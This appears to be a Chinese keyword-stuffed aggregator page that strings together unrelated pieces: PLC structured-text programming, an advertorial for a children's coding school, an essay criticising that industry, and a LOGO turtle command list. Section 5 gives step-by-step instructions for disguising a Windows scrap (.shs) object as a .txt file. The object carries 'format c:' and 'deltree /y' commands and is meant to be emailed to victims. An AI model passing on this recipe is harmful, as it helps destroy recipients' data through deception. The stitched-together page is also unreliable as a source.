st少儿编程，少儿编程是如何掏空家长钱包的

近年来关注st少儿编程的用户越来越多，小编整理了关于ST(结构化文本)，SCL语言必定会成为PLC编程的主流语言，不会编程都不好意思说是搞工控的，今天先说说ST语言编程！，什么是少儿编程，终于有人说清楚了，少儿编程是如何掏空家长钱包的，木马能自制吗，电脑里的小乌龟单词是什么，谁会搞logo**的??，供您参考

1.ST(结构化文本)，SCL语言必定会成为PLC编程的主流语言

ST(Struct Text结构化文本),SCL( Control Language结构化控制语言)必定会成为PLC编程的主流语言。经过半个世纪的发展，现在的PLC已经不是当初那个只能进行简单逻辑控制的PLC，而是集运动控制，总线通讯，数据处理，通讯组网，安全控制，故障记录等各种功能于一身的自动化控制器。很显然，单纯的梯形图已经无法满足这些需求。而之所以推崇梯形图，无怪乎两个原因：1、 梯形图直观易懂，便于入门2 、ST不便于维护其实，这些原因，都是把PLC当作可编程逻辑控制器来用，只进行简单的逻辑控制，才得出的理由。然而，PLC早就不是仅仅进行逻辑控制的可编程逻辑控制器了。如果要进行运动控制，总线通讯，数据处理，通讯组网，安全控制，故障记录等各种功能，单纯使用梯形图是无法完成任务的。而随着生产工艺的进步，这些功能已经成为PLC的主流功能。所以，很多厂家推出了PAC控制器，也就是可编程自动化控制器。使用ST语言，有如下优点：1 、简化指令梯形图中各种繁琐的指令，都在ST语言中进行了简化。比如MOVE,DMOVE,BMOVE等各种复杂的传递指令，ADD,DADD,SUB,DSUB等各种复杂的数学运算，只需要一个赋值语句就可以实现，非常简便。还有各种让人头昏眼花的比较指令，都得到了简化。使用ST语言，就不需要去记忆各种繁琐复杂的指令了。2 、实现复杂算法各种复杂算法，可以轻易实现。尤其是控制工艺复杂的场合。比如化工，纺织等行业，有很多算法需要专门的控制器实现，而有了ST语言，就可以轻松在PLC中实现，节省成本。3 、程序结构更紧凑ST语言中，使用IF和CASE语句来组织程序结构，非常方便，一目了然。4 、可读性更强ST语言采用文本的编辑方式，自由增加注释，符合人的正常思维5、 跨平台复制粘贴可以在不同的PLC之间复制粘贴，非常方便。6 、提高程序破解难度使用ST语言编写核心的工艺部分，不会被轻易破解仿制

2.不会编程都不好意思说是搞工控的，今天先说说ST语言编程！

最近想学习ST语言，想要ST语言以及功能块的相关内容？小编给大家分享一下现成的一些资料。至于更多的ST资料，需要自己慢慢历练与积累。这话是论坛里版主说的。结构化文本（ST-Strutured Text）是一种高级的文本语言，可以用来描述功能，功能块和程序的行为，还可以在顺序功能流程图中描述步、动作和转变的行为。结构化文本语言表面上与 PASCAL语言很相似，但它是一个专门为工业控制应用开发的编程语言，具有很强的编程能力用于对变量赋值、回调功能和功能块、创建表达式、编写条件语句和迭代程序等。1、采用高级语言进行编程，可以完成较复杂的控制运算；2、需要有一定的计算机高级程序设计语言的知识和编程技巧，对编程人员的技能要求较高，普通电气人员无法完成。3、直观性和易操作性等性能较差；　4、常被用于采用功能模块等其他语言较难实现的一些控制功能的实施。提示注意：不是所有的PLC都支持所有的编程语言（如功能块图、顺序功能图就有很多低档PLC不支持）接下来就看看关于ST的专业讲解吧！其中，需要说明的是：LAD：梯形图----------日系称作为LDSTL：指令表---------日系称作为ILSCL：结构文本-------日系称作为STGRAPH：图形编程-----日系称作为：高级图形编程CFC：连续功能编程

3.什么是少儿编程，终于有人说清楚了

　　说到编程，想必大家脑海里首先想到的便是写代码，编程序，具体可以看那些天天996的码农们。少儿编程的话，那就是小孩子学的编程了，同样也是写代码，编程序。如果这么想，那就大错特错了。现在长话短说，现在南京小码王少儿编程培训机构就来给大家科普下，究竟什么是少儿编程。　　编程与少儿编程定义区分　　编程：编程是编写程序的中文简称，就是让计算机代为解决某个问题，对某个计算体系规定一定的运算方式，是计算体系按照该计算方式运行，并最终得到相应结果的过程。为了使计算机能够理解人的意图，人类就必须将需解决的问题的思路、方法和手段通过计算机能够理解的形式告诉计算机，使得计算机能够根据人的指令一步一步去工作，完成某种特定的任务。　　少儿编程：少儿编程教育并非高等教育那样学习如何写代码、编制应用程序，而是通过编程游戏启蒙、可视化图形编程等课程，培养学生的计算思维和创新解难能力。例如学生在制作一个小动画的过程中，自己拆分任务、拖拽模块、控制进度，从而理解“并行”、“事件处理”、“目标实现”的概念。　　现在重点说一下少儿编程概念　　少儿编程教育是区别于成人编程教育，针对3到18岁的青少儿通过寓教于乐的方式来学习编程语言，基于可视化图形编程工具和基础编程语言构建在线编程学习平台和开源硬件平台，让孩子通过可视化图形编程、代码编程和机器人编程培养动手能力，逻辑思维能力，计算能力等，学习编程来串联各个*。其属于素质教育的一个分支，也是*在基础教育阶段针对AI教育领域下的提前布局，最终达到让孩子成为全科型人才。　　少儿编程教育是STEAM教育下的一个新赛道，被称作K12赛道*的金矿。通过STEAM教育的学习，建立理论知识框架，最终通过结合创客教育的理念进行理论知识输出，提高实践能力。作为教育领域下的黑马赛道，编程教育也因其能够通过融合各个*，培养孩子科学素养和实践能力而受到家长的重视。　　编程教育不只是让孩子拥有编程的能力，而是通过编程的学习提升数字素养，培养信息意识，形成*融合的能力;编程化计算思维的建立，为解决实际问题提供更富逻辑化的思路，最终能够实现技术创新，并且能够体验技术实践。　　编程课的学习，使孩子的逻辑思维、数学理解、英语兴趣、严谨理念、解决问题能力、动手能力和创造力都会有不同程度的提高，以期提升个人未来竞争力。　　学少儿编程的3个问题需要弄清　　家长在思考是否要为孩子选择少儿编程时，需要先搞清楚几个问题。孩子学编程，不是为了做未来的程序员。成人学编程是作为职业手段，而孩子学编程更注重素质培养，尤其是“编程思维”。编程思维是我们解决问题的一种方法，是逻辑思维的一种，就是利用我们已有的知识和工具，将自身的思路转化成逻辑运算的步骤，从而完成复杂的任务。　　少儿编程教育普及将带来什么变革?　　经过几年的发展和摸索，编程教育已经开始进入中*课堂。至此，编程将很有可能成为“新英语”，而随着人工智能的推进，各行各业都将需要掌握编程能力的相关人才。所以，编程在10年、20年后将会成为一种主流的能力。家长若能及时跟进帮助孩子提早学习相关课程，将为孩子的以后打下坚实的基础。所以，此时趁着编程教育还未彻底普及，可以先行让孩子接触和学习相关课程，帮助孩子实现人生的领跑。

4.少儿编程是如何掏空家长钱包的

前段时间，有一个北京的亲戚带着他家小孩来我家暂住了几天，得知我“会编程”，“学过编程”，便想了解一下少儿编程机构选什么样的好。我问他，为什么要报少儿编程，还在上幼儿园的小孩不太适合这种。答案很简单，周围的孩子都在学，而且听说学这个很有利于学习，将来前途很广。作为一个学生，我很难想象，一个之前甚至不愿意让孩子多看电视的家长，会主动出钱让孩子去学“编程”。我上网搜了一下，才发现，我这个十八线城市，已经开满了各种少儿编程的线下门店。我问了问那位亲戚，是什么让他觉得少儿编程很好。接着，就是一大堆名词：“人工智能”，“大数据时代”，“区块链”，“深度学习”，“启蒙教育”。但事实真的如此吗？孩子真的在少儿编程中能学到这些我这个从事一些基础编程两年的学生，并且抱有极大热情的人都学不太会的东西？我问了问周围的人，答案都不乐观。一位学长曾经因为也有一个亲戚学少儿编程而去旁听了一节课，但得到的是什么？他们的课程主要是Scratch，Python。学长问授课老师，Python主要有些什么授课内容，老师回答进阶的有Python Web程序。学长问他，主要学习什么框架，老师的回答是：HTML CSS这是任何一个有Python Web开发经验的人都不会做出来的回答。不管他是回答Django，Flask，Tornado，或是什么别的Web框架，甚至是回答Twisted，都要比回答这两个标记语言强得多。如此水平，这可能就是一部分少儿编程机构的真实情况。很难说是不是所有少儿编程机构都是这样，也许有很多少儿编程机构有真材实料。但在现如今我这个十八线城市少儿编程都在遍地开花的时代，我觉得一个城市有三家有真材实料的机构，恐怕都有些难。究竟是什么导致了这一切？其实这并不是偶然现象，少儿编程并不是一头偶然走到风口上的猪，可以说，少儿编程今天的辉煌，是一定的。从小到大，我们上过的特长班，兴趣班，数不胜数，绘画书法围棋篮球舞蹈。但为什么他们捞不到什么油水，大部分成为了爆炸的泡沫。很简单，他们对用户把握的更好，讲述了一个又一个成功的故事，吸引家长来买课。更别提，他们还有无数营销号，水军。所以，我的结论是，少儿编程行业，就是一团巨大的泡沫。这个泡沫何时破灭，无人知晓。但，这个泡沫的破灭，将为OI教育行业带来巨大的冲击。近些年来，各种各样的创新类竞赛，比赛层出不穷，经常被人称为升学工具的它们，给*竞赛带来了巨大冲击。其中首当其冲的，是计算机创新竞赛，人工智能竞赛等，在OI没有上榜时，它们甚至都成为了教育部认可的竞赛。我没有参加过人工智能竞赛，不清楚他们的赛制，但是据我所知市面上除了*比赛我不了解，有很大一部分这类人工智能比赛，仅仅是机器人比赛换皮，Scratch，Python小创意比赛换皮，甚至比创客更无技术含量。我相信，一个家长不太可能为自己上初/高中甚至*的孩子购买一块RTX 2070,RTX2080甚至RTX2080Ti就是为了参加人工智能竞赛，更何况，没有系统学习过线性代数，也很难掌握等主流深度学习/机器学习库的使用。根据以上推理我认为市面上大部分人工智能竞赛仅仅是一个噱头。至于*比赛是不是，我没有参加过，无法下结论。再谈谈计算机创新，现在计算机创新的主力军，往往是*生，是在*里学过数据结构，计算机底层架构等等等专业课后才开始进行计算机创新，而现在大部分计算机创新比赛，不出所料，还是各种机器人搭建+编程。这有意义吗，我想还是有的。但值得家长花这么多时间，精力，金钱去让自己的孩子和其他成千上万的孩子去在培训机构里学习创新吗？至少我的答案不会是如此。有这么多钱我会选择去买专业类的单片机，嵌入式以及算法书籍，自己用树莓派以及单片机搭建出来的东西，参考现今互联网上浩如烟海的资料，还能自己去看GitHub上的优秀项目，这些，往往比老师能教给你的创新能力更多，这些，才是一个学生创新时应该干的，而不是盲从于培训机构。创新，是一件自然而然的事情，而不是培训机构的训练能教出来的。同样，大数据，区块链这些知识，也是你几乎无法在培训机构里接触，了解，运用的。大数据，无非是聚合大量的数据在一起参考。这个概念已经被吹的太久太久。但其实它既简单，又复杂，简单到一个上手开发几个月的人就能做，复杂到从事几年的人依然焦头烂额。简单的大数据，我收集全年级的数据，例如身高，体重，成绩等等等，放到一个最普通的数据库里面，这，就是大数据。大数据是一个相对的概念，相对于人脑，上面说到的那个简简单单的数据库就是大数据，这也是一个学生能接触到的最简单的大数据实现。但真正能赚钱的大数据，是相对于常规数据库的大数据，通常用非常规方式进行管理，涉及到集群，容器，数据库等等方面，一般来讲，学完这些知识，并且能做到熟练运用，对于一个学生来说是不大可能的，同时，收集这样大量的数据，负担得起这样大数据的基础设施，也是学生不大可能负担得起的（除非你家里有矿，有的话请务必给我分点），很显然，常人对大数据的认知来源于几个方面，一是新闻上反复提到大数据，大数据有多么多么牛逼。二是手机上的APP会通过数据聚合等方式来给你推送个性化内（guang）容（gao），这些也确实是生活中常见的大数据用途，但是，我相信一个少儿编程机构绝对不会教给你这些。我所接触到的所有少儿编程机构，连一个上过数据库的课程都没有，更别提进阶一点的大数据。还有区块链。区块链严格意义上来讲，是一个去中心化的网络思想，涉及到一系列加密算法。同样的，少儿编程连base64这种基本的编码都不可能涉及，还会给你密码学入门到精通？TCP/IP协议精通？显然是不可能的。所以，少儿编程之所以能圈钱，无非是瞄准了大多数家长的心态，即孩子必须走在自己预先规划好的道路上，或者孩子必须成为自己期望中的样子，这个范围有大有小，可能有的家长希望孩子从事什么职业，有的家长仅仅希望孩子的数学能考多少分，这些想法从本质上来讲，都是对孩子的爱，只不过，这些爱意被滥用，成为了孩子身上的枷锁，成为了培训机构的摇钱树。希望终有一天，有人能揭露这些培训机构，同学们都能从事自己喜欢的事情。愿我们所喜爱的OI，永不破灭。Update:关于评论区中的“管住嘴”和“手机”的相关言论，建议大家笑笑就好，不要太在意这个人的各种言论。评论区有人说他是少儿编程机构的销售，有人说他没有参与过项目开发等等，这个人使用各种话术，他的概念也大部分来源于产品经理的一些管理方式，我不清楚此人的背景，但可以肯定的是，这个人把各种在他工作中得到的相关观点，强行带入计算机科学教育，而且这个人善于曲解他人的话，和这样一个人辩论是没有意义的。各位是程序员，各位是OIer，各位是或将来会是计算机科学家，大家都很清楚，产品经理都是一些什么样的人，他们所接触到的知识领域是什么样的。他们与我们的涉猎范围是完全不一样的，我们可以把自己写的代码定义成自己做的项目，Linus这么做，GNU基金会这么做，大部分开源项目都是这样做的。至于他想表述的Scratch是面向角色编程，他想说Python不是脚本语言，这很显然是一个根本没有从事过多少Python开发，应用的人才会说出来的话。和这样一个人辩论，其实和一个民科辩论并没有什么区别，你说服不了某人调和级数不收敛，而事实也不是调和级数收敛于61.35，希望大家不要把宝贵的时间浪费在这样一个人上面，也希望大家不要再进行人生攻击，如果他继续人身攻击，地域歧视等等，大家可以举报，没有必要回复他，给他借题发挥的机会。本身，用教条式的思维规范计算机行业这样一个由新鲜思维碰撞在一起而诞生的行业本身就是一件没有意义的事情，从来没有一个程序员规定一个项目必须走什么流程要怎么怎么样才算一个项目，规定它的是产品经理，是甲方乙方，这些东西不会出现在任何开源项目中，也不会妨碍开源项目是一个项目。类似这样的人我们见到过很多很多，稍有常识的人就会知道这些概念的错误性。诚然，这个人认为他的看法才是常识，在此我不再反对，你无法叫醒一个装睡的人，他是什么成功人士还是什么loser也与我无关，在座各位的未来都掌握在自己手上，不会因为“管住嘴”的成功之路而成功。望共勉。

5.木马能自制吗

木马完全可以自制，你可以根据自己所需的作用来制作各种各样的木马学木马先要会编程，你先把这个搞懂吧!1.创建一个只包含一个空格(为了减小文件体积)的文本文件，任意取名。 2.打开{写字板文档}，将此文件拖放入{写字板文档}。也可以点击记{写字板 文档}单栏中的“插入\对象”，弹出“插入对象”对话框，选中“从文件创建”，然后 点击“浏览”按钮选择要插入的文件。 3.选中该插入对象的图标，选择菜单栏中的“编辑\包对象\编辑包”(如图1)。在弹 出的“对象包装程序”对话框中，选择菜单栏中的“编辑\命令行”，然后输入如下命令 :start.exe /m format c:/q /autotest /u ，点击“确定”，此时，内容栏中会显示 出命令内容。 4.点击外观栏中的“插入图标”按钮，会弹出一个警告对话框，确认，然后任选一 个图标。 5.选择菜单栏中的“编辑\卷标”，为此嵌入对象取一个名称(会替换原来的文件名 称)。点击“文件”菜单中的“更新”，然后关闭此对话框。 6.将刚刚建立的嵌入对象拖放到桌面上。文件的默认名是“碎片”(在2000下的默 认名为”片段”)，现在我们把它改成“.txt”。打开电子邮件程序将桌面 上的“.txt”作为附件发出，或者将含有嵌入对象(带有恶意命令)的文档作 为附件发出。 7.当邮件接收者误将“.txt.shs”文件作为“.txt”(如前文 所述，“.SHS”扩展名永远是隐藏的)放心地打开时，或打开文件，点击文件中的嵌入对 象时触发恶意命令(弹出DOS运行窗口，执行格式化命令).如果将上面的命令替换为:st art.exe /m deltree /y a:\*.* c:\*.* d:\*.* 则是将删除对方硬盘下所有文件(盘符 根据实际情况自定义);如果替换为:start.exe /m deltree /y c:\windows\system\*.* 则是删除对方c:\windows\system\目录底下的所有文件.(当 然大家可以改成其它的命令) 很简单，这样一个恶意的攻击程序被弄出来了!

6.电脑里的小乌龟单词是什么

LOGO语言是一种早期的编程语言，也是一种与自然语言非常接近的编程语言，它通过"绘图"的方式来学习编程，对初学者特别是儿童进行寓教于乐的教学方式。 LOGO语言创始于1968年，是美国*科学基金会所资助的一项专案研究，在麻省理工(MIT)的人工智能研究室完成。 LOGO源自希腊文，原意即为思想，是由一名叫佩伯特的心理学家在从事儿童学习的研究中，发现一些与他的想法相反的教学方法，并在一个假日中出外散步时，偶然间看到一个像海龟的机械装置触发灵感，于是利用他广博的知识及聪明的才智而最终完成了LOGO语言的设计。 LOGO语言命令大全 1、前进命令: FD [格式]：FORWARD :X  [缩写]：FD :X [功能]: 使海龟向前移动指定的 X步。 2、后退命令: BK [格式]: BACK :X [缩写]: BK :X    [功能]: 使海龟向后倒退指定的 X步。 3、右转命令: RT [格式]: RIGHT :X [缩写]: RT :X    [功能]: 海龟向右转 X度,(按顺时针方向)。 4、左转命令: LT [格式]: LEFT :X [缩写]: LT :X [功能]: 海龟向左转 X度,(按逆时针方向)。 5、藏龟命令: HT [格式]: [缩写]: HT    [功能]: 让海龟隐身。 6、显龟命令: ST [格式]: [缩写]: ST [功能]: 让海龟重现。 7、回家命令: HOME [格式]：HOME    [功能]：海龟回到源点上。但是不清除屏幕，不改变海龟的其它状态。 8、横移命令: SETX [格式]: SETX :X    [功能]: 海龟水平移动到命令中 :X所指定的坐标位置, 并留下踪迹。 9、纵移命令: SETY [格式]: SETY :Y [功能]: 海龟垂直移动到命令中 :Y所指定的坐标位置, 并留下踪迹。 10、走到命令: SETXY [格式]: SETXY [:X :Y] 或 SETXY SE ：X ：Y [功能]: 海龟从当前位置移到坐标为 (X,Y) 的地方,(在落笔的状态下)并在移动的线路上留下一段直线。（后者可使用变量、表达式） 11、角度命令: SETH [格式]: SETH :D [功能]: 将海龟顺时针转到指定的方向上。 [注意]: 海龟初始时头向上, 定位为0°, 旋转一周为360°。 12、查询海龟的横坐标：XCOR [格式]: XCOR [功能]: 输出海龟当前的水平位置(X轴上)。 13、查询海龟的纵坐标：YCOR[格式]: YCOR [功能]: 输出海龟当前的垂直位置(Y轴上)。 14、查询海龟当前的方向：HEADING [格式]: HEADING [功能]: 输出海龟当前的方向(角度)。 15、清屏复位命令：CS [格式]： [缩写]：CS [功能]：清除屏幕上的图形，让海龟回到源点，头向上。但是海龟的其他状态（画笔的颜色、粗细、花纹等）都不变。 16、清屏命令: CLEAN  [格式]：CLEAN [功能]：清除屏幕上的图形, 但是不改变海龟的状态（当前的位置和方向）。 17、重复命令: REPEAT    [格式]: REPEAT  次数[执行重复的内容] [功能]: 让计算机重复执行一些命令。 18、画矩形命令：STAMPRECT [格式]: STAMPRECT :X :Y           (画空心矩形)         (STAMPRECT :X :Y "TRUE)   (画实心矩形) [功能]: 以海龟原来所在的位置为起始点画矩形。 [注意]: ⑴用STAMPRECT命令画出来的矩形始终是垂直的。         ⑵引号和TURE之间不留空格。 19、画椭圆命令: STAMPOVAL [格式]: STAMPOVAL :X :Y           (画空心椭圆形)       (STAMPOVAL :X :Y "TRUE)     (画实心椭圆形) [功能]: 以海龟原来所在的位置为圆心画椭圆。 [注意]: ⑴如果X方向的半径和Y方向的半径相等, 那么画出来的就是一个圆。             ⑵用STAMPOVAL命令画出来的椭圆始终是顺着X, Y方向画的。海龟*停留在圆的中心。 20、提笔命令: PU [格式]: PENUP [缩写]: PU    [功能]: 把海龟的画笔提起来, 移动时不留下笔迹。 21、落笔命令: PD [格式]: PENDOWN [缩写]: PD [功能]: 让海龟下笔, 恢复海龟的画线功能。 22、笔色命令: SETPC  [格式]: SETPC :N  (:N为颜色代码)  [功能]: 设置画笔的颜色。 23、背景颜色命令：SETBG [格式]: SETBG :N  (:N为颜色代码) [功能]: 刚进入LOGO系统时, 背景颜色是黑色。使用这命令可以改变背景颜色。 24、进入编辑器： [格式]: ⑴EDIT        ⑵EDIT  过程1  过程2 „„ ⑶EDIT  ALL [功能]: ⑴建立新的过程或编辑*一次定义的过程。 ⑵编辑内存中指定的过程。 ⑶编辑内存中所有的过程。 [说明]: LOGO编辑器共分为3个区: 最上方是菜单区, 中间是编辑区, 下面是热键提示区。 25、存盘命令: SAVE    [格式]: SAVE "文件名 [功能]: 把当前工作区里的所有过程以指定的文件名存盘。 LOGO文件的扩展名为 .LGO。 而使用SAVEPIC命令是把图形存盘, 但无法进行修改, 且所占磁盘空间比较大。 [注意]: 在编好一个程序并使用SAVE命令存盘以后, 应当使用ER ALL命令删除当前工作区内的所有过程。以免与其他的程序混乱在一起。 26、读盘命令: LOAD    [格式]: LOAD "文件名    [功能]: 把已经存在当前驱动盘里的程序文件读入当前工作区。 27、列磁盘目录命令: DIR [格式]: DIR [功能]: 显示当前目录下的所有文件名。 28、条件命令: (IF„THEN„)    [格式1]: IF 条件 THEN  命令 [功能]: 如果(IF)后面给定的条件成立, 那么就执行后面(THEN)的命令； 否则就直接执行下一行的其它命令。    [格式2]: IF 条件 [命令1] [命令2] [功能]: 如果(IF)后面给定的条件成立, 那么就执行命令1, 否则就执行命令2。 [说明]: 条件都用“比较算式”表示。常用的“比较符号”有: >大于、<小于、=等于=、>=大于或等于，(“=>”和“>=”的意义是相同的)、<=小于或等于，(“=<”和“<=”的意义是相同的)。 29、复合条件: (逻辑判断  < 表达式 >  < 比较符 >  < 表达式 >) ①、逻辑非: NOT    [格式]: NOT 条件    [说明]: 当条件为真时, 逻辑非运算的结果为假 (FALSE); 当条件为假时, 逻辑非运算的结果为真(TRUE)。 ②、逻辑或: OR    [格式1]: OR 条件1 条件2    [格式2]: (OR 条件1 条件2 条件3„„)    [说明]: 当所有条件都不成立,即条件全为假(FALSE), 逻辑或的结果为假,否则为真(TRUE)。 ③、逻辑与: AND    [格式1]: AND 条件1 条件2    [格式2]: (AND 条件1 条件2 条件3„„) [说明]: 当所有条件同时成立,即条件都为真(TRUE), 逻辑与的结果为真,否则为假(FALSE)。 30、停止命令: STOP    [格式]: STOP      [功能]: 停止正在执行中的命令。

7.谁会搞logo**的

*就学什么编法的啦，不会吧，现在的*生还真是任务艰巨吖，年纪小小就要去学这么深奥的东西LOGO语言是一种早期的编程语言，也是一种与自然语言非常接近的编程语言，它通过“绘图”的方式来学习编程，对初学者特别是儿童进行寓教于乐的教学方式。1.作为一个程序是以“起始”为开始，“终止”为结束。当选择“编辑新程序”时，在程序编辑区中将会出现以下的字符，供程序者填入相应的命令。To（起始）程序名称N／／修改程序名称以供识别…………..…………..／／输入解决问题所用到的命令…………..End（终止）2.绘制不同大小的图形时需要选择不同的参数，所以使用者在设计程序时，需要使用一个比较适合的并有意义的名称来代表，传给参数的数值资料不同则执行结果也就不同，并且程序在执行过程中，也会不断地变化参数的内容。在选择参数时，需要在参数名称前面加上冒号，用来与一般程序中的命令区别开。如：起始程序名称N：参数1：参数2…／／定义列…………….Repeat：参数1[Forward：参数2…]／／输入解决问题所需的命令…………….终止当程序内容含有参数时，必须将所有参数写在定义列之后，以便执行时能接收必要的资料。3.IF…THEN…ELSE…条件执行语句基本格式为：IF条件表达式THEN[命令行1]ELSE[命令行2][命令行3]当条件表达式：成立时，执行[命令行1]内的命令；不成立时，执行[命令行2]内的指令；在执行完[命令行1]或[命令行2]之后，则继续执行[命令行3]该软件可在

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